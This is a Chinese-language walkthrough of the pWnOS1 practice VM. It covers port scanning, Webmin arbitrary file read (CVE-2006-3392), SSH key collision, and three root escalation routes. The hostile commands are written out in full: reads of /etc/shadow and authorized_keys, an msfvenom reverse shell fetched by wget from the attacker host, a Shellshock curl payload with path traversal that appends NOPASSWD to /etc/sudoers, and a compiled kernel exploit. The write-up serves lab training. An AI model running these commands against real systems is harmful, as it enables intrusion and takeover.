打靶日记——pWnOS1
字数 1247 2025-08-29 08:29:41
pWnOS1 靶机渗透测试教学文档
1. 靶机信息收集
1.1 网络发现
- 靶机IP网段:10.10.10.0/24(静态IP)
- 建议将攻击机IP配置到同一网段
1.2 端口扫描
使用nmap进行端口扫描发现以下开放端口:
- 22 (SSH)
- 80 (HTTP)
- 139 (NetBIOS)
- 445 (SMB)
- 10000 (Webmin)
1.3 服务识别与漏洞扫描
使用nmap自带脚本进行详细扫描:
nmap -sV -sC -p22,80,139,445,10000 <靶机IP>
发现关键漏洞:
- Webmin (10000端口)存在任意文件读取漏洞(CVE-2006-3392)
2. Webmin任意文件读取漏洞利用(CVE-2006-3392)
2.1 漏洞验证
访问http://<靶机IP>:10000确认Webmin登录页面存在
2.2 利用脚本选择
Exploit-DB上有两个可用脚本:
- PHP脚本
- Perl脚本
推荐使用PHP脚本,但可能需要安装额外扩展:
sudo apt-get install php-curl
2.3 利用过程
- 下载PHP利用脚本
- 执行脚本读取敏感文件:
php exploit.php <靶机IP> /etc/passwd - 成功读取后尝试读取shadow文件:
php exploit.php <靶机IP> /etc/shadow
注意:此漏洞利用时具有root权限
3. SSH私钥获取与利用
3.1 获取SSH公钥
利用文件读取漏洞获取用户公钥:
php exploit.php <靶机IP> /home/<用户名>/.ssh/authorized_keys
靶机上存在四个用户,需要逐一尝试
3.2 私钥碰撞攻击
- 使用PRNG(伪随机数生成)方法进行私钥碰撞
- 下载专用私钥库(如5622.txt)
- 复制获取的公钥前几十位进行搜索匹配
- 找到对应私钥文件(去掉公钥文件后缀)
3.3 SSH登录
使用获取的私钥登录:
ssh -i <私钥文件> <用户名>@<靶机IP> -o PubkeyAcceptedKeyTypes=+ssh-rsa
注意:需要添加-o PubkeyAcceptedKeyTypes=+ssh-rsa参数解决密钥类型问题
4. 提权方法
4.1 方法一:Webmin文件包含提权
4.1.1 准备Perl反向Shell
- 使用msfvenom生成:
msfvenom -p cmd/unix/reverse_perl LHOST=<攻击机IP> LPORT=<监听端口> -f raw > shell.cgi - 或使用Kali自带Perl Shell脚本
4.1.2 上传并执行
- 在攻击机开启HTTP服务:
python3 -m http.server 80 - 靶机下载:
wget http://<攻击机IP>/shell.cgi -O /tmp/shell.cgi chmod +x /tmp/shell.cgi - 攻击机开启监听:
nc -lvnp <监听端口> - 通过文件包含漏洞执行:
php exploit.php <靶机IP> /tmp/shell.cgi
4.2 方法二:Bash Shellshock提权
4.2.1 漏洞验证
检查Bash版本:
bash --version
若版本≤4.1,可能存在Shellshock漏洞
测试命令:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
输出"vulnerable"则存在漏洞
4.2.2 利用过程
- 创建提权脚本:
echo 'echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /home/vmware/a.cgi - 使用curl执行:
curl http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/a.cgi -A '() { :;}; /bin/bash /home/vmware/a.cgi' - 验证提权:
sudo su
4.3 方法三:内核提权
4.3.1 内核版本检查
uname -a
确认内核版本为2.6.22(较老版本)
4.3.2 利用过程
- 下载提权exp(如linux/local/5092.c)
- 上传到靶机:
wget http://<攻击机IP>/5092.c -O /tmp/5092.c - 编译并执行:
gcc 5092.c -o exp ./exp - 获取root shell
5. 总结与防御建议
5.1 漏洞总结
- Webmin任意文件读取漏洞(CVE-2006-3392)
- SSH密钥管理不当
- Bash Shellshock漏洞
- 老旧内核漏洞
5.2 防御建议
- 及时更新Webmin到最新版本
- 加强SSH密钥管理,禁用不安全的密钥类型
- 升级Bash到最新版本
- 定期更新操作系统内核
- 限制文件读取权限,特别是敏感文件